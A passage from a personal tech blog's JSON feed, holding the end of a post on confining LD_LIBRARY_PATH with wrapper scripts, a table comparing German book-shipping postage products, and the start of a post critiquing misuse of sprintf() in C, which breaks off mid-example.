find enough space for path edits. Especially\nwith binaries created on previous Solaris 10 (or even older\nSolaris) versions this is issue. Later versions reserve some\nspace (512 bytes it seems) at build-time - such that the room for edits is of fixed size.\nThus, it is easy to construct a path that <code>patchelf<\/code> has no issue\nto add but where <code>elfedit<\/code> fails with:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>elfedit: [0: .dynstr]: String table does not have room to add string\n<\/code><\/pre><\/div>\n\n<p>Also, the dependency management of Solaris 10 doesn't seem very\ncomplete such that a system may provide <code>elfedit<\/code> but still miss\nsome libraries for it:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>ld.so.1: elfedit: fatal: liblddbg.so.4: version &#39;SUNWprivate_4.83&#39; not found (required by file \/usr\/bin\/elfedit)\nld.so.1: elfedit: fatal: liblddbg.so.4: open failed: No such file or directory\n<\/code><\/pre><\/div>\n\n<p>Obviously, when dealing with such poorly created binaries, created by an\noverpaid vendor, one may see this as indicator of the general quality of the\nprovided software and service. And perhaps one reaches to the conclusion that\nthere are better alternatives out there, built by people who know what they are\ndoing. For our initial Oracle example the obvious alternative would be\n<a href=\"https:\/\/www.postgresql.org\/\">PostgreSQL<\/a>. It is arguably of better quality than Oracle, implements\nfeatures Oracle doesn't have and it is ridiculously easy to install (in\ncomparison to Oracle) because it is available from the distributions package\nrepositories.<\/p>\n<h3 id=\"quarantine-legacy-ld_library_path-settings\">Quarantine legacy <code>LD_LIBRARY_PATH<\/code> settings<a class=\"headerlink\" href=\"#quarantine-legacy-ld_library_path-settings\" title=\"Permanent link\">&para;<\/a><\/h3>\n<p>As a last resort, when re-linking or patching an existing ELF binary is\nnot an option one should at least restrict the scope of\n<code>LD_LIBRARY_PATH<\/code> to that binary, i.e. to a start script of that\nbinary.<\/p>\n<p>For example, if the original legacy binary is located under\n<code>\/opt\/sware\/bin\/foo<\/code> one limits the harm of <code>LD_LIBRARY_PATH<\/code> via\nputting it in a start script like this:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"gp\">$ <\/span>mv<span class=\"w\"> <\/span>\/opt\/sware\/bin\/foo<span class=\"w\"> <\/span>\/opt\/sware\/bin\/foo.orig\n<span class=\"gp\">$ <\/span>cat<span class=\"w\"> <\/span>&lt;&lt;EOF<span class=\"w\"> <\/span>&gt;<span class=\"w\"> <\/span>\/opt\/sware\/bin\/foo\n<span class=\"gp\">#<\/span>!\/bin\/sh\n<span class=\"go\">export LD_LIBRARY_PATH=\/opt\/sware\/lib<\/span>\n<span class=\"go\">exec \/opt\/sware\/bin\/foo.orig &quot;$@&quot;<\/span>\n<span class=\"go\">EOF<\/span>\n<span class=\"gp\">$ <\/span>chmod<span class=\"w\"> <\/span><span class=\"m\">755<\/span><span class=\"w\"> <\/span>\/opt\/sware\/bin\/foo\n<\/code><\/pre><\/div>\n\n<p>Thus, its effect is limited to the legacy binary. This is a\nsignificant improvement over globally setting it.<\/p>\n<p>In case the process forks any child processes, the\n<code>LD_LIBRARY_PATH<\/code> setting is inherited, though.<\/p>\n<p>This can be avoided via directly invoking the runtime linker and supplying\nthe search path as an argument. A Linux example:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"gp\">$ <\/span>mv<span class=\"w\"> <\/span>\/opt\/sware\/bin\/foo<span class=\"w\"> <\/span>\/opt\/sware\/bin\/foo.orig\n<span class=\"gp\">$ <\/span>cat<span class=\"w\"> <\/span>&lt;&lt;EOF<span class=\"w\"> <\/span>&gt;<span class=\"w\"> <\/span>\/opt\/sware\/bin\/foo\n<span class=\"gp\">#<\/span>!\/bin\/sh\n<span class=\"go\">exec \/lib64\/ld-linux-x86-64.so.2 --library-path \/opt\/sware\/lib \\<\/span>\n<span class=\"go\">  \/opt\/sware\/bin\/foo.orig &quot;$@&quot;<\/span>\n<span class=\"go\">EOF<\/span>\n<span class=\"gp\">$ <\/span>chmod<span class=\"w\"> <\/span><span class=\"m\">755<\/span><span class=\"w\"> <\/span>\/opt\/sware\/bin\/foo\n<\/code><\/pre><\/div>\n\n<p>This the runtime linker for a 64 bit binary, for a 32 bit binary\none would use <code>\/lib\/ld-linux.so.2<\/code>.<\/p>\n<p>A Solaris example:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"gp\">$ <\/span>mv<span class=\"w\"> <\/span>\/opt\/sware\/bin\/foo<span class=\"w\"> <\/span>\/opt\/sware\/bin\/foo.orig\n<span class=\"gp\">$ <\/span>cat<span class=\"w\"> <\/span>&lt;&lt;EOF<span class=\"w\"> <\/span>&gt;<span class=\"w\"> <\/span>\/opt\/sware\/bin\/foo\n<span class=\"gp\">#<\/span>!\/bin\/sh\n<span class=\"go\">exec \/lib\/64\/ld.so.1 -e LD_LIBRARY_PATH=\/opt\/sware\/lib \\<\/span>\n<span class=\"go\">  \/opt\/sware\/bin\/foo.orig &quot;$@&quot;<\/span>\n<span class=\"go\">EOF<\/span>\n<span class=\"gp\">$ <\/span>chmod<span class=\"w\"> <\/span><span class=\"m\">755<\/span><span class=\"w\"> <\/span>\/opt\/sware\/bin\/foo\n<\/code><\/pre><\/div>","category":[{"@attributes":{"term":"C"}},{"@attributes":{"term":"wtf"}}]},{"title":"Shipping Books (in Germany)","link":{"@attributes":{"href":"https:\/\/gms.tf\/shipping-books-in-germany.html","rel":"alternate"}},"published":"2016-07-19T10:10:00+02:00","updated":"2016-07-19T10:10:00+02:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2016-07-19:\/shipping-books-in-germany.html","summary":"<p>There are several products for shipping books in Germany.\nThe 'Warensendung' product may be cheaper for certain\nbooks, but they are slowly transported and there is no tracking.\nThe following table compares different attributes and constraints\nof the products available in the market (last update: 2026-03-22).<\/p>\n<table class=\"m-table\">\n<thead>\n<tr>\n<th>Company<\/th>\n<th>Product<\/th>\n<th>\u20ac<\/th>\n<th>&lt; g<\/th>\n<th>w \u2026<\/th><\/tr><\/thead><\/table>","content":"<p>There are several products for shipping books in Germany.\nThe 'Warensendung' product may be cheaper for certain\nbooks, but they are slowly transported and there is no tracking.\nThe following table compares different attributes and constraints\nof the products available in the market (last update: 2026-03-22).<\/p>\n<table class=\"m-table\">\n<thead>\n<tr>\n<th>Company<\/th>\n<th>Product<\/th>\n<th>\u20ac<\/th>\n<th>&lt; g<\/th>\n<th>w &lt; cm<\/th>\n<th>h &lt; cm<\/th>\n<th>d &lt; cm<\/th>\n<th>w &gt; cm<\/th>\n<th>h &gt; cm<\/th>\n<th>constr.<\/th>\n<th>track.<\/th>\n<th>ETA<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td><a href=\"https:\/\/shop.deutschepost.de\/\">DP<\/a><\/td>\n<td><a href=\"https:\/\/www.deutschepost.de\/de\/w\/buecherundwarensendung.html\">Warensendung<\/a><\/td>\n<td>2.70<\/td>\n<td>1000<\/td>\n<td>35.3<\/td>\n<td>25<\/td>\n<td>5<\/td>\n<td>10<\/td>\n<td>7<\/td>\n<td>'Warensendung' caption<\/td>\n<td>no<\/td>\n<td>4<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/shop.deutschepost.de\/\">DP<\/a><\/td>\n<td><a href=\"https:\/\/www.deutschepost.de\/de\/w\/buecherundwarensendung.html\">Warensendung heavy<\/a><\/td>\n<td>3.55<\/td>\n<td>2000<\/td>\n<td>35.3<\/td>\n<td>25<\/td>\n<td>5<\/td>\n<td>10<\/td>\n<td>7<\/td>\n<td>'Warensendung' caption<\/td>\n<td>no<\/td>\n<td>4<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/shop.deutschepost.de\/\">DP<\/a><\/td>\n<td><a href=\"https:\/\/www.deutschepost.de\/de\/b\/brief_postkarte.html\">Standard Brief<\/a><\/td>\n<td>0.95<\/td>\n<td>20<\/td>\n<td>23.5<\/td>\n<td>12.5<\/td>\n<td>0.5<\/td>\n<td>14<\/td>\n<td>9<\/td>\n<td>rectangular<\/td>\n<td>no<\/td>\n<td>2<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/shop.deutschepost.de\/\">DP<\/a><\/td>\n<td><a href=\"https:\/\/www.deutschepost.de\/de\/e\/einschreiben.html\">Standard Brief Einsch.<\/a><\/td>\n<td>3.30<\/td>\n<td>20<\/td>\n<td>23.5<\/td>\n<td>12.5<\/td>\n<td>0.5<\/td>\n<td>14<\/td>\n<td>9<\/td>\n<td>rectangular<\/td>\n<td><a href=\"https:\/\/www.deutschepost.de\/sendung\/simpleQuery.html\">yes<\/a><\/td>\n<td>1<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/shop.deutschepost.de\/\">DP<\/a><\/td>\n<td><a href=\"https:\/\/www.deutschepost.de\/de\/b\/brief_postkarte.html\">Kompakt Brief<\/a><\/td>\n<td>1.10<\/td>\n<td>50<\/td>\n<td>23.5<\/td>\n<td>12.5<\/td>\n<td>1<\/td>\n<td>10<\/td>\n<td>7<\/td>\n<td>rectangular<\/td>\n<td>no<\/td>\n<td>2<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/shop.deutschepost.de\/\">DP<\/a><\/td>\n<td><a href=\"https:\/\/www.deutschepost.de\/de\/e\/einschreiben.html\">Kompakt Brief Einsch.<\/a><\/td>\n<td>3.45<\/td>\n<td>50<\/td>\n<td>23.5<\/td>\n<td>12.5<\/td>\n<td>1<\/td>\n<td>10<\/td>\n<td>7<\/td>\n<td>rectangular<\/td>\n<td><a href=\"https:\/\/www.deutschepost.de\/sendung\/simpleQuery.html\">yes<\/a><\/td>\n<td>1<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/shop.deutschepost.de\/\">DP<\/a><\/td>\n<td><a href=\"https:\/\/www.deutschepost.de\/de\/b\/brief_postkarte.html\">Gro\u00df Brief<\/a><\/td>\n<td>1.80<\/td>\n<td>500<\/td>\n<td>35.3<\/td>\n<td>25<\/td>\n<td>2<\/td>\n<td>10<\/td>\n<td>7<\/td>\n<td><\/td>\n<td>no<\/td>\n<td>2<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/shop.deutschepost.de\/\">DP<\/a><\/td>\n<td><a href=\"https:\/\/www.deutschepost.de\/de\/e\/einschreiben.html\">Gro\u00df Brief Einsch.<\/a><\/td>\n<td>4.15<\/td>\n<td>500<\/td>\n<td>35.3<\/td>\n<td>25<\/td>\n<td>2<\/td>\n<td>10<\/td>\n<td>7<\/td>\n<td><\/td>\n<td><a href=\"https:\/\/www.deutschepost.de\/sendung\/simpleQuery.html\">yes<\/a><\/td>\n<td>1<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/shop.deutschepost.de\/\">DP<\/a><\/td>\n<td><a href=\"https:\/\/www.deutschepost.de\/de\/b\/brief_postkarte.html\">Maxi Brief<\/a><\/td>\n<td>2.90<\/td>\n<td>1000<\/td>\n<td>35.3<\/td>\n<td>25<\/td>\n<td>5<\/td>\n<td>10<\/td>\n<td>7<\/td>\n<td><\/td>\n<td>no<\/td>\n<td>2<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/shop.deutschepost.de\/\">DP<\/a><\/td>\n<td><a href=\"https:\/\/www.deutschepost.de\/de\/e\/einschreiben.html\">Maxi Brief Einsch.<\/a><\/td>\n<td>5.25<\/td>\n<td>1000<\/td>\n<td>35.3<\/td>\n<td>25<\/td>\n<td>5<\/td>\n<td>10<\/td>\n<td>7<\/td>\n<td><\/td>\n<td><a href=\"https:\/\/www.deutschepost.de\/sendung\/simpleQuery.html\">yes<\/a><\/td>\n<td>1<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/www.myhermes.de\/preise\/paeckchen-paket\/\">Hermes<\/a><\/td>\n<td><a href=\"https:\/\/www.myhermes.de\/preise\/paeckchen-paket\/\">P\u00e4ckchen<\/a><\/td>\n<td>5.19<\/td>\n<td>25000<\/td>\n<td><\/td>\n<td><\/td>\n<td><\/td>\n<td><\/td>\n<td><\/td>\n<td>long + short &lt; 37<\/td>\n<td><a href=\"https:\/\/www.myhermes.de\/wps\/portal\/paket\/Home\/privatkunden\/sendungsverfolgung\">yes<\/a><\/td>\n<td>2<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/www.myhermes.de\/preise\/paeckchen-paket\/\">Hermes<\/a><\/td>\n<td><a href=\"https:\/\/www.myhermes.de\/preise\/paeckchen-paket\/\">S-Paket<\/a><\/td>\n<td>5.79<\/td>\n<td>25000<\/td>\n<td><\/td>\n<td><\/td>\n<td><\/td>\n<td><\/td>\n<td><\/td>\n<td>long + short &lt; 50<\/td>\n<td><a href=\"https:\/\/www.myhermes.de\/wps\/portal\/paket\/Home\/privatkunden\/sendungsverfolgung\">yes<\/a><\/td>\n<td>2<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/www.myhermes.de\/preise\/paeckchen-paket\/\">Hermes<\/a><\/td>\n<td><a href=\"https:\/\/www.myhermes.de\/preise\/paeckchen-paket\/\">M-Paket<\/a><\/td>\n<td>6.99<\/td>\n<td>25000<\/td>\n<td><\/td>\n<td><\/td>\n<td><\/td>\n<td><\/td>\n<td><\/td>\n<td>long + short &lt; 80<\/td>\n<td><a href=\"https:\/\/www.myhermes.de\/wps\/portal\/paket\/Home\/privatkunden\/sendungsverfolgung\">yes<\/a><\/td>\n<td>2<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/www.myhermes.de\/preise\/paeckchen-paket\/\">Hermes<\/a><\/td>\n<td><a href=\"https:\/\/www.myhermes.de\/preise\/paeckchen-paket\/\">L-Paket<\/a><\/td>\n<td>10.99<\/td>\n<td>25000<\/td>\n<td><\/td>\n<td><\/td>\n<td><\/td>\n<td><\/td>\n<td><\/td>\n<td>long + short &lt; 120<\/td>\n<td><a href=\"https:\/\/www.myhermes.de\/wps\/portal\/paket\/Home\/privatkunden\/sendungsverfolgung\">yes<\/a><\/td>\n<td>2<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/www.dhl.de\/de\/privatkunden\/pakete-versenden\/deutschlandweit-versenden\/preise-national.html\">DHL<\/a><\/td>\n<td><a href=\"https:\/\/www.dhl.de\/de\/privatkunden\/pakete-versenden\/deutschlandweit-versenden\/preise-national.html\">P\u00e4ckchen S<\/a><\/td>\n<td>4.19<\/td>\n<td>2000<\/td>\n<td>35<\/td>\n<td>25<\/td>\n<td>10<\/td>\n<td><\/td>\n<td><\/td>\n<td><\/td>\n<td>no<\/td>\n<td>2<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/www.dhl.de\/de\/privatkunden\/pakete-versenden\/deutschlandweit-versenden\/preise-national.html\">DHL<\/a><\/td>\n<td><a href=\"https:\/\/www.dhl.de\/de\/privatkunden\/pakete-versenden\/deutschlandweit-versenden\/preise-national.html\">P\u00e4ckchen M<\/a><\/td>\n<td>5.19<\/td>\n<td>2000<\/td>\n<td>60<\/td>\n<td>30<\/td>\n<td>15<\/td>\n<td><\/td>\n<td><\/td>\n<td><\/td>\n<td>no<\/td>\n<td>2<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/www.dhl.de\/de\/privatkunden\/pakete-versenden\/deutschlandweit-versenden\/preise-national.html\">DHL<\/a><\/td>\n<td><a href=\"https:\/\/www.dhl.de\/de\/privatkunden\/pakete-versenden\/deutschlandweit-versenden\/preise-national.html\">Paket 2<\/a><\/td>\n<td>6.19<\/td>\n<td>2000<\/td>\n<td>60<\/td>\n<td>30<\/td>\n<td>15<\/td>\n<td><\/td>\n<td><\/td>\n<td><\/td>\n<td><a href=\"https:\/\/www.dhl.de\/en\/privatkunden\/pakete-empfangen\/verfolgen.html\">yes<\/a><\/td>\n<td>1<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/www.dhl.de\/de\/privatkunden\/pakete-versenden\/deutschlandweit-versenden\/preise-national.html\">DHL<\/a><\/td>\n<td><a href=\"https:\/\/www.dhl.de\/de\/privatkunden\/pakete-versenden\/deutschlandweit-versenden\/preise-national.html\">Paket 5<\/a><\/td>\n<td>7.69<\/td>\n<td>5000<\/td>\n<td>120<\/td>\n<td>60<\/td>\n<td>60<\/td>\n<td><\/td>\n<td><\/td>\n<td>long + 2 * (short + d) &lt; 300<\/td>\n<td><a href=\"https:\/\/www.dhl.de\/en\/privatkunden\/pakete-empfangen\/verfolgen.html\">yes<\/a><\/td>\n<td>1<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/www.dhl.de\/de\/privatkunden\/pakete-versenden\/deutschlandweit-versenden\/preise-national.html\">DHL<\/a><\/td>\n<td><a href=\"https:\/\/www.dhl.de\/de\/privatkunden\/pakete-versenden\/deutschlandweit-versenden\/preise-national.html\">Paket 10<\/a><\/td>\n<td>10.49<\/td>\n<td>10000<\/td>\n<td>120<\/td>\n<td>60<\/td>\n<td>60<\/td>\n<td><\/td>\n<td><\/td>\n<td>long + 2 * (short + d) &lt; 300<\/td>\n<td><a href=\"https:\/\/www.dhl.de\/en\/privatkunden\/pakete-empfangen\/verfolgen.html\">yes<\/a><\/td>\n<td>1<\/td>\n<\/tr>\n<tr>\n<td><a href=\"https:\/\/www.dhl.de\/de\/privatkunden\/pakete-versenden\/deutschlandweit-versenden\/preise-national.html\">DHL<\/a><\/td>\n<td><a href=\"https:\/\/www.dhl.de\/de\/privatkunden\/pakete-versenden\/deutschlandweit-versenden\/preise-national.html\">Paket 31,5<\/a><\/td>\n<td>18.99<\/td>\n<td>31500<\/td>\n<td>120<\/td>\n<td>60<\/td>\n<td>60<\/td>\n<td><\/td>\n<td><\/td>\n<td><\/td>\n<td><a href=\"https:\/\/www.dhl.de\/en\/privatkunden\/pakete-empfangen\/verfolgen.html\">yes<\/a><\/td>\n<td>1<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Note that you have to print the qualifier 'Warensendung' on the\npackage when using the first two products. In contrast to the previously available\n'B\u00fcchersendung' product those packages don't need to be\nresealable, anymore.\nHowever, Deutsche Post still restricts the content, i.e.\ncontractually you are only allowed to ship books and wares as\n'Warensendung'.<\/p>\n<p>An address that is prefixed with <a href=\"https:\/\/en.wikipedia.org\/wiki\/Packstation\">'Packstation'<\/a> can only be delivered by Deutsche Post (DP) or DHL because it is their DHL parcel collection service.<\/p>\n<h2 id=\"online-purchase\">Online Purchase<a class=\"headerlink\" href=\"#online-purchase\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Buying the postage online is recommended since it is way more convenient and often also cheaper:<\/p>\n<ul>\n<li><a href=\"https:\/\/shop.deutschepost.de\/\">eFiliale - DHL\/DP Products<\/a><\/li>\n<li><a href=\"https:\/\/www.dhl.de\/de\/privatkunden\/pakete-versenden\/deutschlandweit-versenden\/preise-national.html\">DHL Online<\/a><\/li>\n<li><a href=\"https:\/\/www.myhermes.de\/preise\/paeckchen-paket\/\">Hermes Online<\/a><\/li>\n<\/ul>\n<p>The prices in the above table are all 'online' prices in case\nthere is a difference.<\/p>\n<p><strong>Update (2016-09-28):<\/strong> The Deutsche Post also provides a\nweb-service for buying online postage. After a separate\nregistration it can be used to buy postage online really fast. No\ntedious clicking in some web GUI anymore. I've created the\n<a href=\"https:\/\/codeberg.org\/gms\/python-inema.git\">open-source program frank<\/a> for easily buying one or multiple\nstamps (including addressing) from the command line.<\/p>\n<p>However, since 2025, the Deutsche Post postage order API is only\navailable for business customers, anymore.\nMeaning you have to register as 'Selbstst\u00e4ndiger' or other\nbusiness entity.<\/p>\n<h2 id=\"tracking\">Tracking<a class=\"headerlink\" href=\"#tracking\" title=\"Permanent link\">&para;<\/a><\/h2>\n<ul>\n<li><a href=\"https:\/\/www.dhl.de\/en\/privatkunden\/pakete-empfangen\/verfolgen.html\">DHL Tracking<\/a><\/li>\n<li><a href=\"https:\/\/www.myhermes.de\/wps\/portal\/paket\/Home\/privatkunden\/sendungsverfolgung\">Hermes Tracking<\/a><\/li>\n<li><a href=\"https:\/\/www.deutschepost.de\/sendung\/simpleQuery.html\">Deutsche Post Tracking<\/a><\/li>\n<\/ul>","category":[{"@attributes":{"term":"misc"}},{"@attributes":{"term":"books"}}]},{"title":"On sprintf() Fails","link":{"@attributes":{"href":"https:\/\/gms.tf\/on-sprintf-fails.html","rel":"alternate"}},"published":"2016-07-16T00:00:00+02:00","updated":"2016-07-16T00:00:00+02:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2016-07-16:\/on-sprintf-fails.html","summary":"<p>The <a href=\"http:\/\/en.cppreference.com\/w\/cpp\/io\/c\/fprintf\"><code>sprintf()<\/code> and <code>snprintf()<\/code><\/a> C library functions are commonly\nused for formatting a string and writing the result into a buffer.\nBut sometimes it is surprising in how many ways <code>sprintf()<\/code> can\nbe misused.<\/p>\n<div class=\"toc\">\n<ul>\n<li><a href=\"#the-ugly\">The Ugly<\/a><\/li>\n<li><a href=\"#the-pitfalls\">The Pitfalls<\/a><\/li>\n<li><a href=\"#the-bad\">The Bad<\/a><\/li>\n<\/ul>\n<\/div>\n<h2 id=\"the-ugly\">The Ugly<a class=\"headerlink\" href=\"#the-ugly\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Some enterprise C programs look like submissions to \u2026<\/p>","content":"<p>The <a href=\"http:\/\/en.cppreference.com\/w\/cpp\/io\/c\/fprintf\"><code>sprintf()<\/code> and <code>snprintf()<\/code><\/a> C library functions are commonly\nused for formatting a string and writing the result into a buffer.\nBut sometimes it is surprising in how many ways <code>sprintf()<\/code> can\nbe misused.<\/p>\n<div class=\"toc\">\n<ul>\n<li><a href=\"#the-ugly\">The Ugly<\/a><\/li>\n<li><a href=\"#the-pitfalls\">The Pitfalls<\/a><\/li>\n<li><a href=\"#the-bad\">The Bad<\/a><\/li>\n<\/ul>\n<\/div>\n<h2 id=\"the-ugly\">The Ugly<a class=\"headerlink\" href=\"#the-ugly\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Some enterprise C programs look like submissions to the\nuseless-use-of-sprintf award. It appears as <code>sprintf()<\/code> is used as a hammer and\nsuddenly everything looks like a nail to hit, e.g.:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"n\">s<\/span><span class=\"p\">[<\/span><span class=\"mi\">128<\/span><span class=\"p\">];<\/span>\n<span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">t<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">get_some_string<\/span><span class=\"p\">();<\/span>\n<span class=\"n\">sprintf<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"s\">&quot;%s&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">t<\/span><span class=\"p\">);<\/span>\n<\/code><\/pre><\/div>\n\n<p>Instead of:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"n\">s<\/span><span class=\"p\">[<\/span><span class=\"mi\">128<\/span><span class=\"p\">];<\/span>\n<span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">t<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">get_some_string<\/span><span class=\"p\">();<\/span>\n<span class=\"n\">strcpy<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">t<\/span><span class=\"p\">);<\/span>\n<\/code><\/pre><\/div>\n\n<p>The problem with <code>sprintf()<\/code> here: it is less efficient because the format string is\nparsed at runtime. But at least it works.<\/p>\n<p>The variant <code>snprintf()<\/code> works like <code>sprintf()<\/code> but truncates the\noutput if the result buffer is too small. Following real-world\nexample increases the uselessness of the previous example:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"n\">s<\/span><span class=\"p\">[<\/span><span class=\"mi\">128<\/span><span class=\"p\">];<\/span>\n<span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">t<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">get_some_string<\/span><span class=\"p\">();<\/span>\n<span class=\"n\">snprintf<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">strlen<\/span><span class=\"p\">(<\/span><span class=\"n\">t<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"s\">&quot;%s&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">t<\/span><span class=\"p\">);<\/span>\n<\/code><\/pre><\/div>\n\n<p>It is like an emulation of <code>sprintf()<\/code> using <code>snprintf()<\/code>.<\/p>\n<p>If truncation is the objective, <code>snprintf()<\/code> at least should be \nused like that:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"n\">s<\/span><span class=\"p\">[<\/span><span class=\"mi\">128<\/span><span class=\"p\">];<\/span>\n<span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">t<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">get_some_string<\/span><span class=\"p\">();<\/span>\n<span class=\"n\">snprintf<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"k\">sizeof<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"p\">),<\/span><span class=\"w\"> <\/span><span class=\"s\">&quot;%s&quot;<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">t<\/span><span class=\"p\">);<\/span>\n<\/code><\/pre><\/div>\n\n<p>But following idiomatic solution is more efficient because no\nformat string needs to be parsed at runtime:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"n\">s<\/span><span class=\"p\">[<\/span><span class=\"mi\">128<\/span><span class=\"p\">];<\/span>\n<span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">t<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">get_some_string<\/span><span class=\"p\">();<\/span>\n<span class=\"kt\">size_t<\/span><span class=\"w\"> <\/span><span class=\"n\">l<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">strlen<\/span><span class=\"p\">(<\/span><span class=\"n\">t<\/span><span class=\"p\">);<\/span>\n<span class=\"kt\">size_t<\/span><span class=\"w\"> <\/span><span class=\"n\">n<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"k\">sizeof<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"p\">)<\/span><span class=\"mi\">-1<\/span><span class=\"w\"> <\/span><span class=\"o\">&lt;<\/span><span class=\"w\"> <\/span><span class=\"n\">l<\/span><span class=\"w\"> <\/span><span class=\"o\">?<\/span><span class=\"w\"> <\/span><span class=\"k\">sizeof<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"p\">)<\/span><span class=\"mi\">-1<\/span><span class=\"w\"> <\/span><span class=\"o\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">l<\/span><span class=\"p\">;<\/span>\n<span class=\"n\">memcpy<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">t<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">n<\/span><span class=\"p\">);<\/span>\n<span class=\"n\">s<\/span><span class=\"p\">[<\/span><span class=\"n\">n<\/span><span class=\"p\">]<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"mi\">0<\/span><span class=\"p\">;<\/span>\n<\/code><\/pre><\/div>\n\n<p>Or even on a GNU libc system:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"n\">s<\/span><span class=\"p\">[<\/span><span class=\"mi\">128<\/span><span class=\"p\">];<\/span>\n<span class=\"k\">const<\/span><span class=\"w\"> <\/span><span class=\"kt\">char<\/span><span class=\"w\"> <\/span><span class=\"o\">*<\/span><span class=\"n\">t<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"n\">get_some_string<\/span><span class=\"p\">();<\/span>\n<span class=\"o\">*<\/span><span class=\"p\">(<\/span><span class=\"kt\">char<\/span><span class=\"o\">*<\/span><span class=\"p\">)<\/span><span class=\"n\">mempcpy<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">t<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"n\">MIN<\/span><span class=\"p\">(<\/span><span class=\"k\">sizeof<\/span><span class=\"p\">(<\/span><span class=\"n\">s<\/span><span class=\"p\">)<\/span><span class=\"mi\">-1<\/span><span 